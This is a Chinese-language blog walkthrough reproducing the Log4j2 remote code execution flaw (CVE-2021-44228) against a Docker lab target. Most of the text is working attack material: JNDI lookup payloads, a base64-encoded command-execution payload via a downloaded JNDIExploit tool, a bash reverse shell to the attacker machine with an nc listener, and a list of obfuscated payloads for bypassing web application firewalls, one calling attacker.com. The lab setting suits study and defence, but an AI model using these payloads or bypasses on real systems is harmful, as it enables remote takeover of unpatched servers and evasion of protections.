CVE-2021-44228漏洞复现
2021-12-14 本文已影响0人
YPL8
Apache Log4j2远程代码执行漏洞(CVE-2021-44228)
详细描述
Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,用户可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。该漏洞影响 Apache Struts、Apache Solr、Apache Druid、Apache Filnk等众多组件,漏洞影响面大,危害性高,建议客户尽快自查在用软件系统是否受影响,采取措施防护此漏洞。
漏洞受影响版本
Log4j 2.x <= 2.15.0-rc1
目前为止已知如下组件存在漏洞
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare
复现环境
kali (本人使用的旧版本kali,只用于测试安装靶机,192.168.199.139)
win10 (模仿攻击者,192.168.199.140)
脚本scan是否存在log4j2反序列化漏洞
链接:https://pan.baidu.com/s/1m1rwU3Gr-wAdBPx64f9ltw
提取码:mn0o
image.png
漏洞复现
1、靶机环境安装
//kali系统部署在vmware
//拉取靶机环境
docker pull vulfocus/log4j2-rce-2021-12-09
image.png
//运行靶机环境
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
image.png
//ps 查看
docker ps
image.png
//查看ip
ip a
image.png
//在win10本机访问,显示No message available,说明部署成功了
http://192.168.199.139:38080/
image.png
//访问正常路径,需使用POST进行请求
http://192.168.199.139:38080/hello
//到此靶机安装完成
image.png
2、开始进行dnslog复现漏洞
//勾选POST请求,输入payload,dnslog小伙伴们自己设置,以下是我的dnslog,Ypl是自定义
payload=${jndi:ldap://Ypl.859499fe.dns.1433.eu.org/exp}
//可以自行使用抓包工具burp进行抓取编辑payload
image.png
//dnslog地址
https://log.xn--9tr.com/
image.png
3、使用大佬们的工具进行反弹getshell
//百度云盘下载地址
链接:https://pan.baidu.com/s/1UP-ZL_XB07UDS_KXwN-HwA
提取码:tcwx
//ip填写需要反弹getshell的ip
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i ip
image.png
//尝试向目标主机 touch /tmp/cve2021-44228test 文件
touch /tmp/cve2021-44228test //先base64编码,然后对编码后的特殊字符进行2层(ctrl+u 两次)url转码
转换后:dG91Y2ggL3RtcC9jdmUyMDIxLTQ0MjI4dGVzdA%253d%253d
image.png
//尝试向目标主机 touch /tmp/cve2021-44228test 文件
payload=${jndi:ldap://192.168.199.140:1389/TomcatBypass/Command/Base64/dG91Y2ggL3RtcC9jdmUyMDIxLTQ0MjI4dGVzdA%253d%253d}
image.png
//进入容器终端并且的保留为容器终端的输入形式(-it和bash的结合作用)
docker exec -it 60ab4df61ab8 bash
//成功创建了一个cve2021-44228test文件
ll /tmp
image.png
废话不多说了,开始获取getshell
//攻击机监听6666端口
nc -lvvp 6666
image.png
//先base64编码,然后对编码后的特殊字符进行2层url转码
bash -i >& /dev/tcp/192.168.199.140/6666 0>&1
转换后:YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE5OS4xNDAvNjY2NiAwPiYx
image.png
反弹成功,获取到docke容器
image.png
绕过waf
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
仅供学习使用!!